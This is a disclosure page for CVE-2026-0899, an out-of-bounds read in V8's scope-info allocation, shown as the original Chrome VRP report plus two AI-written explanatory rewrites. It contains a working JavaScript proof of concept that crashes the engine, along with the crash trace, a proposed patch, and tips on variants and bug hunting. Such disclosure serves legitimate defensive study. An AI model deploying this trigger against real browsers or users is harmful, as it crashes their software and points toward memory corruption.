Skip to content
Memory corruption Advisory Advanced CVE-2026-0899

Out of bounds memory access in V8 (CVE-2026-0899)

A compilation error occurs with nested classes having a specific structure, causing an out-of-bounds memory access in V8's fixed-array-inl.h. An attacker could potentially trigger a crash or memory corruption by crafting JavaScript code that exploits this bug.

p1nky4745 Follow

Originally disclosed on Chrome VRP

Bounty$8,000 High View original
  • Fix shipped in 2 months

Description

Compilation error occurs with nested classes having a specific structure. The error manifests as an array bounds check violation in fixed-array-inl.h.

The error happens when attempting to access a WeakFixedArray element at index 6, which is out of bounds.

Reproduction Case

JavaScript
class C1 {}

const v1 = {
    n() {
        try { 
            this.n();
        } catch (e) {}

        class C2 {
            constructor() {
                class C3 extends C1 {
                    constructor() {}
                    a;
                    static {};
                    b;
                    static {
                        let x = 0;
                    }
                }
            }
        };

        new C2();
    }
};
let res = v1.n();

Tested on debug build without ASAN on Linux x64

Build flags:

is_debug = true
target_cpu = "x64"
v8_enable_backtrace = true
v8_static_library = true  
is_component_build = false
dcheck_always_on = true
v8_enable_disassembler = true
v8_enable_debugging_features=true
v8_dcheck_always_on = true
./out/debug/d8 poc.js


#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 116
# Debug check failed: IsInBounds(index).
#
#
#
#FailureMessage Object: 0x7ffec77d5720
==== C stack trace ===============================

    ./out/debug/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x55980cf3cbb3]
    ./out/debug/d8(+0x2909abd) [0x55980cf3babd]
    ./out/debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x194) [0x55980cf33774]
    ./out/debug/d8(+0x2901025) [0x55980cf33025]
    ./out/debug/d8(void v8::internal::DeclarationScope::AllocateScopeInfos<v8::internal::Isolate>(v8::internal::ParseInfo*, v8::internal::DirectHandle<v8::internal::Script>, v8::internal::Isolate*)+0x715) [0x55980d153d05]
    ./out/debug/d8(+0x2ac01bf) [0x55980d0f21bf]
    ./out/debug/d8(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*, v8::internal::CreateSourcePositions)+0x88f) [0x55980d0f16cf]
    ./out/debug/d8(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x259) [0x55980d0f2909]
    ./out/debug/d8(+0x397500d) [0x55980dfa700d]
    ./out/debug/d8(v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*)+0x84) [0x55980dfa6b14]
    ./out/debug/d8(+0x62fb67d) [0x55981092d67d]
Trace/breakpoint trap

Introduced

This vulnerability was introduced in: https://chromium.googlesource.com/v8/v8/+/a96a186d4d293bb9cc728eac23709b4e79dc358a (M141 Stable)

Proposed Fix

Fixing this proved to be quite challenging for me, but for a local fix I discovered that limiting the loop in DeclarationScope::AllocateScopeInfos to infos->length() prevents the crash:

Diff
diff --git a/src/ast/scopes.cc b/src/ast/scopes.cc
index e406e916459..b2ba7218be0 100644
--- a/src/ast/scopes.cc
+++ b/src/ast/scopes.cc
@@ -2803,7 +2803,7 @@ void DeclarationScope::AllocateScopeInfos(ParseInfo* parse_info,
     // reuse. Also look at the compiled function itself, and reuse its function
     // scope info if it exists.
     for (int i = parse_info->literal()->function_literal_id();
-         i <= parse_info->max_info_id(); ++i) {
+         i <= parse_info->max_info_id() && i < infos->length(); ++i) {
       Tagged<MaybeObject> maybe_info = infos->get(i);
       if (maybe_info.IsWeak()) {
         Tagged<Object> info = maybe_info.GetHeapObjectAssumeWeak();

Additionally, reverting the changes made in commit a96a186d4d293bb9cc728eac23709b4e79dc358a also prevents the crash.

CREDIT INFORMATION

Reporter credit: @p1nky4745

The original report as published on the Chromium issue tracker, by @p1nky4745. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This is a V8 bug, reported through the Chrome VRP and rated high severity, with a bounty of 8000.00 USD. The weakness class is an out of bounds memory access. The affected component is V8 itself, specifically the scope analysis code that runs during compilation, and the crash surfaces in fixed-array-inl.h.

V8 compiles JavaScript lazily. When a function is first called, the compiler builds scope information for it and for the nested functions and classes it contains. DeclarationScope::AllocateScopeInfos walks a WeakFixedArray of scope infos, indexed by function literal id, and reuses or creates entries as it goes. The bug is that this walk can run past the end of that array.

Setup

The researcher used a debug build of V8's d8 shell, without ASAN, on Linux x64. The build flags were:

Text
is_debug = true
target_cpu = "x64"
v8_enable_backtrace = true
v8_static_library = true
is_component_build = false
dcheck_always_on = true
v8_enable_disassembler = true
v8_enable_debugging_features=true
v8_dcheck_always_on = true

The relevant part is dcheck_always_on and is_debug, which turn the bounds check in fixed-array-inl.h into a fatal error instead of silent memory access. No special accounts or privileges are needed: the trigger is plain JavaScript.

Finding it

The researcher found that a compilation error occurs with nested classes having a specific structure. The error manifests as an array bounds check violation in fixed-array-inl.h, when attempting to access a WeakFixedArray element at index 6, which is out of bounds.

The crash happens during compilation, not at runtime of the class bodies themselves. The stack trace shows the failure inside DeclarationScope::AllocateScopeInfos, reached through Compiler::Compile and Runtime_CompileLazy, which means the lazy compilation of a function triggered the out of bounds read.

Exploitation

Step 1: the trigger

The researcher's proof of concept is a single object with a method n that calls itself inside a try/catch, then declares a class C2 whose constructor declares a class C3 extending C1, with a mix of fields, an empty static block, and a second static block containing a local variable.

JavaScript
class C1 {}

const v1 = {
    n() {
        try {
            this.n();
        } catch (e) {}

        class C2 {
            constructor() {
                class C3 extends C1 {
                    constructor() {}
                    a;
                    static {};
                    b;
                    static {
                        let x = 0;
                    }
                }
            }
        };

        new C2();
    }
};
let res = v1.n();

The method n calls itself inside try/catch, and the catch swallows any error. The nested class structure is what matters for the compiler: C3 extends C1, has an explicit empty constructor, instance fields a and b, an empty static initialisation block, and a second static block with a local let x.

Step 2: running it

The PoC is run directly with the debug shell:

Bash
./out/debug/d8 poc.js

The result is a fatal debug check, not a normal exception:

Text
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 116
# Debug check failed: IsInBounds(index).
#
#
#
#FailureMessage Object: 0x7ffec77d5720
==== C stack trace ===============================

    ./out/debug/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x55980cf3cbb3]
    ./out/debug/d8(+0x2909abd) [0x55980cf3babd]
    ./out/debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x194) [0x55980cf33774]
    ./out/debug/d8(+0x2901025) [0x55980cf33025]
    ./out/debug/d8(void v8::internal::DeclarationScope::AllocateScopeInfos<v8::internal::Isolate>(v8::internal::ParseInfo*, v8::internal::DirectHandle<v8::internal::Script>, v8::internal::Isolate*)+0x715) [0x55980d153d05]
    ./out/debug/d8(+0x2ac01bf) [0x55980d0f21bf]
    ./out/debug/d8(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*, v8::internal::CreateSourcePositions)+0x88f) [0x55980d0f16cf]
    ./out/debug/d8(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x259) [0x55980d0f2909]
    ./out/debug/d8(+0x397500d) [0x55980dfa700d]
    ./out/debug/d8(v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*)+0x84) [0x55980dfa6b14]
    ./out/debug/d8(+0x62fb67d) [0x55981092d67d]
Trace/breakpoint trap

The key frames are Runtime_CompileLazy, then Compiler::Compile, then DeclarationScope::AllocateScopeInfos, then the fatal check in fixed-array-inl.h at line 116. The debug check IsInBounds(index) failed, confirming the read was outside the array.

Root cause

The researcher traced the bug to DeclarationScope::AllocateScopeInfos in src/ast/scopes.cc. That function loops from the current function's literal id up to parse_info->max_info_id(), reading infos->get(i) from the WeakFixedArray of scope infos on each iteration. With the nested class structure above, max_info_id() can exceed the length of infos, so the loop reads past the end of the array. In the reported case the first out of bounds index was 6.

The researcher identified the introducing change as commit [redacted], which landed in M141 Stable. The report does not explain which part of that commit changed the relationship between max_info_id() and the array length; it only states that the commit introduced the vulnerability and that reverting it prevents the crash.

The report only covers a debug build with the bounds check enabled. The report does not analyse what a release build does with the out of bounds value.

Impact

The report classifies this as an out of bounds memory access in V8 and the program rated it high severity. The demonstrated effect is a crash of the engine during compilation of attacker supplied JavaScript, triggered by a nested class structure. The report does not show code execution, information disclosure, or a sandbox escape, and does not describe how the out of bounds read could be turned into anything beyond the crash. Any stronger impact would depend on what the out of bounds read returns in a release build, which the report leaves unexamined.

Fix

The researcher proposed a local fix: limit the loop in DeclarationScope::AllocateScopeInfos to infos->length(), which prevents the crash.

Diff
diff --git a/src/ast/scopes.cc b/src/ast/scopes.cc
index e406e916459..b2ba7218be4 100644
--- a/src/ast/scopes.cc
+++ b/src/ast/scopes.cc
@@ -2803,7 +2803,7 @@ void DeclarationScope::AllocateScopeInfos(ParseInfo* parse_info,
     // reuse. Also look at the compiled function itself, and reuse its function
     // scope info if it exists.
     for (int i = parse_info->literal()->function_literal_id();
-         i <= parse_info->max_info_id(); ++i) {
+         i <= parse_info->max_info_id() && i < infos->length(); ++i) {
       Tagged<MaybeObject> maybe_info = infos->get(i);
       if (maybe_info.IsWeak()) {
         Tagged<Object> info = maybe_info.GetHeapObjectAssumeWeak();

The added condition i < infos->length() stops the loop before it reads past the array. The researcher also notes that reverting the changes made in commit [redacted] prevents the crash.

Variants to test

  • Nested classes with static blocks and instance fields inside a lazily compiled function, as in the PoC. A positive result is the IsInBounds(index) fatal check in fixed-array-inl.h on a debug build.
  • Varying the number and position of static blocks and fields in the inner class, since the PoC mixes an empty static block with one containing a local variable. A positive result is the same fatal check, possibly at a different index.
  • Wrapping the trigger in recursion that overflows the stack and is caught, as the PoC does with this.n() inside try/catch. A positive result is the crash occurring during lazy compilation rather than at parse time.
  • Running the same PoC on a release build to see whether the out of bounds read is observable without the debug check. A positive result would be a crash or misbehaviour that the debug build masks behind the fatal check.

Hunting notes

This kind of bug hides in compiler and parser code that indexes arrays by ids derived from source structure: function literal ids, scope info ids, and similar counters. The signal is a mismatch between a computed maximum id and the actual length of the array holding the entries, which appears when nested constructs cause the compiler to allocate ids in an order the loop does not expect.

Nested classes with static initialisation blocks are a good place to look, because they create several function literals and scopes from a small amount of source. Debug builds with dcheck_always_on turn these mismatches into immediate fatal errors, which makes them easy to confirm; the researcher's PoC is short enough to bisect against V8 commits, which is how the introducing commit was identified.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a way to make Chrome's JavaScript engine, V8, crash while it was compiling a piece of JavaScript. The crash is not a normal error that a web page can catch: the engine stops with a fatal internal error. The bug was reported through the Chrome Vulnerability Reward Program (Chrome VRP), the scheme Google runs to pay people for finding and reporting security problems in Chrome. It was rated high severity and paid a bounty of 8000.00 USD. The weakness class is an out of bounds memory access, which means a program reads a slot in a list that lies past the end of that list.

To understand the rest, you need one idea: a computer program stores many things in numbered lists, called arrays. Each slot has an index, starting at 0. Reading slot 6 of a list that only has 6 slots (indexes 0 to 5) is an out of bounds read. Normally that is a bug, and in a debug build of the engine it is caught immediately and turned into a fatal error.

V8 is the part of Chrome that reads JavaScript and turns it into something the computer can run. It does this lazily: when a function is first called, V8 compiles it then, not before. During that compilation it builds a description of every variable and class in the function, called scope information. The bug is that, for a particular arrangement of nested classes, this bookkeeping walks one step too far along its list.

Context

This is a V8 bug, reported through the Chrome VRP and rated high severity, with a bounty of 8000.00 USD. The weakness class is an out of bounds memory access. The affected component is V8 itself, specifically the scope analysis code that runs during compilation, and the crash surfaces in fixed-array-inl.h.

V8 compiles JavaScript lazily. When a function is first called, the compiler builds scope information for it and for the nested functions and classes it contains. DeclarationScope::AllocateScopeInfos walks a WeakFixedArray of scope infos, indexed by function literal id, and reuses or creates entries as it goes. The bug is that this walk can run past the end of that array.

A few of those terms deserve a plain explanation. A function literal id is simply a number the compiler gives to each function or class body it finds in your source, so it can refer to them by number instead of by name. A WeakFixedArray is an internal list of fixed size whose entries can be held "weakly", meaning the engine is allowed to throw an entry away if nothing else needs it; this is a memory management trick, and for this story you only need to know it is a numbered list. Scope information is the compiler's record of which names exist where, so that a variable inside a class can be matched to the right place.

Setup

The researcher used a debug build of V8's d8 shell, without ASAN, on Linux x64. The build flags were:

Text
is_debug = true
target_cpu = "x64"
v8_enable_backtrace = true
v8_static_library = true
is_component_build = false
dcheck_always_on = true
v8_enable_disassembler = true
v8_enable_debugging_features=true
v8_dcheck_always_on = true

What each line means:

  • is_debug = true builds the engine in debug mode, with extra internal checks switched on.
  • target_cpu = "x64" builds for 64-bit Intel/AMD processors.
  • v8_enable_backtrace = true makes the engine print a list of the functions that were running when something went wrong, called a stack trace.
  • v8_static_library = true and is_component_build = false control how the build is packaged into files; they do not affect the bug.
  • dcheck_always_on = true and v8_dcheck_always_on = true keep debug checks active. A debug check (often written "dcheck") is an assertion: a test the program performs on itself, which stops it if the test fails.
  • v8_enable_disassembler = true and v8_enable_debugging_features=true switch on extra developer tooling.

The relevant part is dcheck_always_on and is_debug, which turn the bounds check in fixed-array-inl.h into a fatal error instead of silent memory access. A bounds check is the test "is this index inside the list?". In a normal release build that test may not exist, and the program would simply read whatever memory lies past the end. No special accounts or privileges are needed: the trigger is plain JavaScript.

d8 is V8's own small command-line program for running JavaScript, separate from Chrome. It is used because it is the engine on its own, without the browser around it, which makes crashes easier to see and reproduce.

Finding it

The researcher found that a compilation error occurs with nested classes having a specific structure. The error manifests as an array bounds check violation in fixed-array-inl.h, when attempting to access a WeakFixedArray element at index 6, which is out of bounds.

Nested classes means a class declared inside another class or function. The crash happens during compilation, not at runtime of the class bodies themselves. The stack trace shows the failure inside DeclarationScope::AllocateScopeInfos, reached through Compiler::Compile and Runtime_CompileLazy, which means the lazy compilation of a function triggered the out of bounds read. In other words, the bad read happens while V8 is preparing the code to run, before any of the class code has actually executed.

Exploitation

Step 1: the trigger

The researcher's proof of concept is a single object with a method n that calls itself inside a try/catch, then declares a class C2 whose constructor declares a class C3 extending C1, with a mix of fields, an empty static block, and a second static block containing a local variable.

A proof of concept (PoC) is a small, self-contained piece of code that demonstrates a bug. A method is a function that belongs to an object. try/catch is JavaScript's way of attempting something and handling an error if it happens: the code in try runs, and if it throws an error, the code in catch runs instead. A static block is a block of code attached to a class that runs once when the class is set up, rather than per object.

JavaScript
class C1 {}

const v1 = {
    n() {
        try {
            this.n();
        } catch (e) {}

        class C2 {
            constructor() {
                class C3 extends C1 {
                    constructor() {}
                    a;
                    static {};
                    b;
                    static {
                        let x = 0;
                    }
                }
            }
        };

        new C2();
    }
};
let res = v1.n();

Line by line:

  • class C1 {} declares an empty class named C1. It exists only to be extended later.
  • const v1 = { starts an object literal, a collection of named values, assigned to the constant v1.
  • n() { defines a method called n on that object.
  • try { begins the block where an error may be thrown.
  • this.n(); calls the method n again from inside itself. this refers to the object the method was called on, so this is recursion: a function calling itself.
  • } catch (e) {} catches whatever error the recursive call produces and does nothing with it. The empty body means the error is swallowed silently.
  • class C2 { declares a class inside the method.
  • constructor() { defines what happens when a C2 object is created.
  • class C3 extends C1 { declares a class C3 inside that constructor, inheriting from C1. extends means "is a kind of", and the child class gets the parent's behaviour.
  • constructor() {} gives C3 its own empty constructor.
  • a; and b; declare instance fields, named slots that each C3 object will have.
  • static {}; is an empty static block: it runs once for the class and does nothing.
  • static { let x = 0; } is a second static block that declares a local variable x set to 0.
  • new C2(); creates an instance of C2, which runs its constructor and therefore brings C3 into play.
  • let res = v1.n(); calls the method once to start everything.

The method n calls itself inside try/catch, and the catch swallows any error. The stack is the region of memory where a program keeps track of which function called which; each call adds a layer, and when the layers run out you get a stack overflow error. The nested class structure is what matters for the compiler: C3 extends C1, has an explicit empty constructor, instance fields a and b, an empty static initialisation block, and a second static block with a local let x.

Step 2: running it

The PoC is run directly with the debug shell:

Bash
./out/debug/d8 poc.js

This line means: run the program d8 that was built into the out/debug folder, and give it the file poc.js to execute. The result is a fatal debug check, not a normal exception:

Text
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 116
# Debug check failed: IsInBounds(index).
#
#
#
#FailureMessage Object: 0x7ffec77d5720
==== C stack trace ===============================

    ./out/debug/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x55980cf3cbb3]
    ./out/debug/d8(+0x2909abd) [0x55980cf3babd]
    ./out/debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x194) [0x55980cf33774]
    ./out/debug/d8(+0x2901025) [0x55980cf33025]
    ./out/debug/d8(void v8::internal::DeclarationScope::AllocateScopeInfos<v8::internal::Isolate>(v8::internal::ParseInfo*, v8::internal::DirectHandle<v8::internal::Script>, v8::internal::Isolate*)+0x715) [0x55980d153d05]
    ./out/debug/d8(+0x2ac01bf) [0x55980d0f21bf]
    ./out/debug/d8(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*, v8::internal::CreateSourcePositions)+0x88f) [0x55980d0f16cf]
    ./out/debug/d8(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x259) [0x55980d0f2909]
    ./out/debug/d8(+0x397500d) [0x55980dfa700d]
    ./out/debug/d8(v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*)+0x84) [0x55980dfa6b14]
    ./out/debug/d8(+0x62fb67d) [0x55981092d67d]
Trace/breakpoint trap

Reading this output:

  • Fatal error in ../../src/objects/fixed-array-inl.h, line 116 says which source file and line detected the problem. fixed-array-inl.h is the file that implements the fixed-size array, and line 116 is where the bounds check lives.
  • Debug check failed: IsInBounds(index). is the assertion that failed. IsInBounds is the test "is this index inside the array?", and it returned false.
  • FailureMessage Object: 0x7ffec77d5720 is an internal memory address printed for debugging; it is not meaningful to a reader.
  • ==== C stack trace =============================== introduces the list of function calls that were active, newest first.
  • Each following line is one frame: the program name, then the function name, then an offset like +0x13, then the address in memory. The addresses are noise for our purposes; the function names are the useful part.
  • DeclarationScope::AllocateScopeInfos is the function where the bad read happened.
  • Compiler::Compile appears twice, meaning the compiler was called from within itself, which fits lazy compilation of nested code.
  • Runtime_CompileLazy is the entry point that asks the compiler to compile a function the first time it is needed.
  • Trace/breakpoint trap is the operating system's way of saying the program stopped itself deliberately, which is what a failed debug check does.

The key frames are Runtime_CompileLazy, then Compiler::Compile, then DeclarationScope::AllocateScopeInfos, then the fatal check in fixed-array-inl.h at line 116. The debug check IsInBounds(index) failed, confirming the read was outside the array.

Root cause

The researcher traced the bug to DeclarationScope::AllocateScopeInfos in src/ast/scopes.cc. That function loops from the current function's literal id up to parse_info->max_info_id(), reading infos->get(i) from the WeakFixedArray of scope infos on each iteration. With the nested class structure above, max_info_id() can exceed the length of infos, so the loop reads past the end of the array. In the reported case the first out of bounds index was 6.

A loop is a piece of code that repeats an action while a condition holds. Here the loop starts at the current function's number and repeats for every number up to max_info_id(), the highest id the parser recorded. On each pass it fetches the entry at that position with infos->get(i). If the highest id is larger than the number of entries actually stored, the later passes ask for positions that do not exist. Think of a row of numbered lockers where the caretaker is told to open lockers 1 to 10, but the row only has 6: the last few attempts reach past the end of the row.

The researcher identified the introducing change as commit [redacted], which landed in M141 Stable. A commit is a recorded change to the source code, and M141 Stable is the version of Chrome that was in general release at that point. The report does not explain which part of that commit changed the relationship between max_info_id() and the array length; it only states that the commit introduced the vulnerability and that reverting it prevents the crash.

The report only covers a debug build with the bounds check enabled. The report does not analyse what a release build does with the out of bounds value.

Impact

The report classifies this as an out of bounds memory access in V8 and the program rated it high severity. The demonstrated effect is a crash of the engine during compilation of attacker supplied JavaScript, triggered by a nested class structure. The report does not show code execution, information disclosure, or a sandbox escape, and does not describe how the out of bounds read could be turned into anything beyond the crash. Any stronger impact would depend on what the out of bounds read returns in a release build, which the report leaves unexamined.

Code execution would mean making the computer run an attacker's instructions; information disclosure would mean leaking data the attacker should not see; a sandbox escape would mean getting out of the restricted environment Chrome puts around web content. None of those are demonstrated here. What is demonstrated is that this JavaScript stops the engine during compilation.

Fix

The researcher proposed a local fix: limit the loop in DeclarationScope::AllocateScopeInfos to infos->length(), which prevents the crash.

Diff
diff --git a/src/ast/scopes.cc b/src/ast/scopes.cc
index e406e916459..b2ba7218be4 100644
--- a/src/ast/scopes.cc
+++ b/src/ast/scopes.cc
@@ -2803,7 +2803,7 @@ void DeclarationScope::AllocateScopeInfos(ParseInfo* parse_info,
     // reuse. Also look at the compiled function itself, and reuse its function
     // scope info if it exists.
     for (int i = parse_info->literal()->function_literal_id();
-         i <= parse_info->max_info_id(); ++i) {
+         i <= parse_info->max_info_id() && i < infos->length(); ++i) {
       Tagged<MaybeObject> maybe_info = infos->get(i);
       if (maybe_info.IsWeak()) {
         Tagged<Object> info = maybe_info.GetHeapObjectAssumeWeak();

This is a diff, a standard way of showing a change to source code. Lines starting with - are removed and lines starting with + are added; the rest is context shown so you can see where the change sits.

  • diff --git a/src/ast/scopes.cc b/src/ast/scopes.cc says which file is being changed.
  • index e406e916459..b2ba7218be4 100644 identifies the before and after versions of the file; the numbers are internal identifiers.
  • --- a/src/ast/scopes.cc and +++ b/src/ast/scopes.cc label the old and new file.
  • @@ -2803,7 +2803,7 @@ says the change is around line 2803 and shows seven lines of context on each side.
  • The comment lines beginning with a space are unchanged context explaining that the code reuses scope info where possible.
  • for (int i = parse_info->literal()->function_literal_id(); is the unchanged start of the loop: set the counter i to the current function's literal id.
  • The removed line i <= parse_info->max_info_id(); ++i) { is the old loop condition: keep going while i is at most the maximum id, and add one to i each pass.
  • The added line i <= parse_info->max_info_id() && i < infos->length(); ++i) { adds a second condition: i must also be less than the length of the array. && means "and", so both conditions must hold.
  • Tagged<MaybeObject> maybe_info = infos->get(i); reads the entry at position i; this is the line that was reading out of bounds.
  • if (maybe_info.IsWeak()) { checks whether the entry is held weakly, that is, whether it may be discarded.
  • Tagged<Object> info = maybe_info.GetHeapObjectAssumeWeak(); retrieves the actual object behind a weak entry.

The added condition i < infos->length() stops the loop before it reads past the array. The researcher also notes that reverting the changes made in commit [redacted] prevents the crash.

Variants to test

  • Nested classes with static blocks and instance fields inside a lazily compiled function, as in the PoC. A positive result is the IsInBounds(index) fatal check in fixed-array-inl.h on a debug build.
  • Varying the number and position of static blocks and fields in the inner class, since the PoC mixes an empty static block with one containing a local variable. A positive result is the same fatal check, possibly at a different index.
  • Wrapping the trigger in recursion that overflows the stack and is caught, as the PoC does with this.n() inside try/catch. A positive result is the crash occurring during lazy compilation rather than at parse time.
  • Running the same PoC on a release build to see whether the out of bounds read is observable without the debug check. A positive result would be a crash or misbehaviour that the debug build masks behind the fatal check.

Hunting notes

This kind of bug hides in compiler and parser code that indexes arrays by ids derived from source structure: function literal ids, scope info ids, and similar counters. The signal is a mismatch between a computed maximum id and the actual length of the array holding the entries, which appears when nested constructs cause the compiler to allocate ids in an order the loop does not expect.

Nested classes with static initialisation blocks are a good place to look, because they create several function literals and scopes from a small amount of source. Debug builds with dcheck_always_on turn these mismatches into immediate fatal errors, which makes them easy to confirm; Bisecting means testing many versions of the code, halving the range each time, to find the exact change that first shows the problem.

Glossary

  • Array: a numbered list of slots in memory, where each slot has an index starting at 0.
  • ASAN: AddressSanitizer, a tool that detects memory errors; the researcher's build did not use it.
  • Bisect: to narrow down which code change caused a problem by testing versions and halving the range each time.
  • Bounds check: a test that an index is inside the array before the slot is used.
  • Bounty: money paid by a bug bounty program for a valid security report.
  • Chrome VRP: Google's Vulnerability Reward Program for Chrome.
  • Commit: a recorded change to a source code repository, identified by a hash.
  • Compilation: turning source code into something the computer can execute.
  • Constructor: the part of a class that runs when a new object is created.
  • d8: V8's standalone command-line JavaScript shell, used for testing the engine without a browser.
  • dcheck: a debug assertion, a self-test the program runs and which stops it if it fails.
  • Debug build: a version of a program built with extra checks and diagnostics enabled.
  • Diff: a text format showing lines removed from and added to source code.
  • Function literal id: a number the compiler assigns to each function or class body in the source.
  • Instance field: a named slot that each object of a class has.
  • Lazy compilation: compiling a function only when it is first called, rather than all at once.
  • Loop: code that repeats an action while a condition holds.
  • Method: a function that belongs to an object.
  • Nested class: a class declared inside another class or function.
  • Out of bounds memory access: reading or writing a position outside the intended range of a list or buffer.
  • Proof of concept (PoC): a small piece of code that demonstrates a bug.
  • Recursion: a function calling itself.
  • Release build: a version of a program built for normal use, usually without debug checks.
  • Sandbox escape: getting out of the restricted environment a browser puts around web content.
  • Scope information: the compiler's record of which names and variables exist where in the code.
  • Severity: a rating of how serious a vulnerability is.
  • Stack: the memory area where a program tracks which function called which.
  • Stack overflow: an error caused by too many nested calls exhausting the stack.
  • Stack trace: a list of the functions that were running when a program stopped.
  • Static block: a block of code attached to a class that runs once when the class is set up.
  • try/catch: JavaScript syntax for attempting code and handling an error if one is thrown.
  • V8: the JavaScript engine inside Chrome that compiles and runs JavaScript.
  • WeakFixedArray: an internal fixed-size array whose entries can be held weakly, meaning they may be discarded when no longer needed.
  • Weak reference: a reference to an object that does not stop it from being cleaned up.

More by p1nky4745

View all

1 more disclosed report, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.